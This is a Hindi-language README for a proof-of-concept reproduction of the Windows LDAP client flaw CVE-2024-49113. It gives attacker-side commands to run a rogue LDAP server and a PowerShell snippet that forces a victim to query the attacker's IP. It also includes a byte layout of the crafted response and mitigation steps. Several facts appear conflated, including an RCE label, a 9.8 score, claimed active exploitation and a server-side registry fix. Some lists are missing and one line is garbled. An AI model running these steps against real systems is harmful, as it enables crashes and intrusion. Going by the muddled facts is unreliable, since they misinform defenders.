
cve-2024-49113-ldap_nightmare_reproduction का पुनरुत्पादन
Windows LDAP क्लाइंट रिमोट कोड निष्पादन (हीप-आधारित बफर ओवरफ्लो)
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2024-49113 |
| उपनाम | LDAP Nightmare |
| CVSS 3.1 | 9.8 — गंभीर |
| CWE | CWE-122 — हीप-आधारित बफर ओवरफ्लो |
| खोज | SafeBreach (जनवरी 2025 में PoC प्रकाशित) |
| शोषण | वास्तविक दुनिया में सक्रिय शोषण की पुष्टि |
| पैच | Microsoft दिसंबर 2024 पैच मंगलवार (KB5048685 / KB5048652) |
CVE-2024-49113 विंडोज़ LDAP क्लाइंट लाइब्रेरी (wldap32.dll) में एक गंभीर हीप-आधारित बफर ओवरफ्लो भेद्यता है। एक अनप्रमाणित, दूरस्थ हमलावर LDAP क्वेरी जारी करने वाली पीड़ित विंडोज़ मशीन (जैसे, डायरेक्टरी लुकअप करने वाला डोमेन कंट्रोलर) को विशेष रूप से तैयार की गई LDAP प्रतिक्रिया भेजकर इस भेद्यता को ट्रिगर कर सकता है।
चूँकि Windows डोमेन कंट्रोलर नियमित रूप से अन्य डोमेन कंट्रोलरों, सदस्य सर्वरों और ग्लोबल कैटलॉग सर्वरों को LDAP क्वेरी भेजते हैं, यह दोष Active Directory वातावरण में विशेष रूप से खतरनाक है। सफल शोषण लोकल सिस्टम खाते के संदर्भ में (डोमेन कंट्रोलरों पर) रिमोट कोड निष्पादन प्राप्त करता है, जिससे हमलावर को लक्षित सर्वर पर पूर्ण नियंत्रण मिल जाता है।
सार्वजनिक प्रूफ-ऑफ-कॉन्सेप्ट ("LDAP Nightmare" नामक) को SafeBreach द्वारा जनवरी 2025 में जारी किया गया, जब Microsoft ने दिसंबर 2024 पैच मंगलवार में फिक्स भेज दिए थे।
यह भेद्यता wldap32.dll में मौजूद है — RFC 4511 में परिभाषित लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल (LDAP) क्लाइंट का Windows कार्यान्वयन।
जब कोई LDAP क्लाइंट सर्च रिज़ल्ट एंट्री प्रतिक्रिया प्राप्त करता है, तो लाइब्रेरी BER (बेसिक एन्कोडिंग नियम) डिकोडर लूप में LDAP संदेश के प्रोटोकॉल डेटा यूनिट (PDUs) को पार्स करती है। LDAP विशेषता मानों को पार्स करने के दौरान हीप मेमोरी आवंटन तर्क में एक दोष के कारण डिकोडर हीप-आवंटित बफर की सीमा से परे डेटा लिख देता है।
विशेष रूप से:
Windows सर्वर और Windows क्लाइंट के सभी समर्थित संस्करण 10 दिसंबर, 2024 सुरक्षा अद्यतनों से पहले भेद्य हैं:
इस CVE को संबोधित करने वाले दिसंबर 2024 पैच मंगलवार अद्यतन हैं:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
पीड़ित पर, इंस्टॉल किए गए KBs की जाँच करें:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
यदि कोई परिणाम नहीं मिलता है, तो सिस्टम अनपैच्ड और भेद्य है।
हमलावर मशीन पर, यह PoC चलाएँ:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
जहाँ 192.168.1.100 हमलावर का IP पता है।
नोट: Linux पर, पोर्ट 389 को बाइंड करने के लिए रूट (sudo) की आवश्यकता होती है। Windows पर, व्यवस्थापक विशेषाधिकारों की आवश्यकता हो सकती है।
पीड़ित मशीन से (PowerShell, व्यवस्थापक के रूप में):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
वैकल्पिक रूप से, ldp.exe का उपयोग करें (Windows सर्वर / RSAT के साथ शामिल):
DC=evil,DC=local[*] Sending malicious search result entry... प्रिंट करेगा और तैयार की गई प्रतिक्रिया भेजेगा।lsass.exe या LDAP क्लाइंट प्रोसेस एक्सेस उल्लंघन (0xC0000005) के साथ क्रैश हो जाएगा, या सिस्टम BSOD हो सकता है।PoC को एक पृथक वातावरण में चलाने के लिए एक Dockerfile प्रदान किया गया है:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
शामिल exploit.py निम्नलिखित लागू करता है:
--listen-ip, --listen-port, --payload-size) के माध्यम से कॉन्फ़िगर करने योग्य।# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
10 दिसंबर, 2024 पैच मंगलवार अद्यतन स्थापित करें:
यदि पैच तुरंत लागू नहीं किया जा सकता:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
यह सामग्री केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध CVE-2024-49113 का अनधिकृत शोषण अवैध है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा लिखित प्राधिकरण प्राप्त करें।
| ऑफसेट | फ़ील्ड | मान |
|---|
| 0x00 | LDAP संदेश टैग (0x30) | अनुक्रम (Sequence) |
| 0x01–0x02 | कुल लंबाई (तैयार) | बड़ा मान ओवरफ्लो ट्रिगर करता है |
| 0x03 | ProtocolOp (0x64) | सर्च रिज़ल्ट एंट्री |
| 0x04–0x0E | LDAP परिणाम फ़ील्ड | मानक हेडर |
| 0x0F+ | विशेषता सूची | ओवरफ्लो ट्रिगर (लंबाई = 0xFFFF) |
| स्रोत | URL |
|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (मूल खोज) | SafeBreach ब्लॉग — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | हीप-आधारित बफर ओवरफ्लो |
| RFC 4511 | LDAPv3 प्रोटोकॉल |
| दिसंबर 2024 पैच मंगलवार | Microsoft रिलीज़ नोट्स |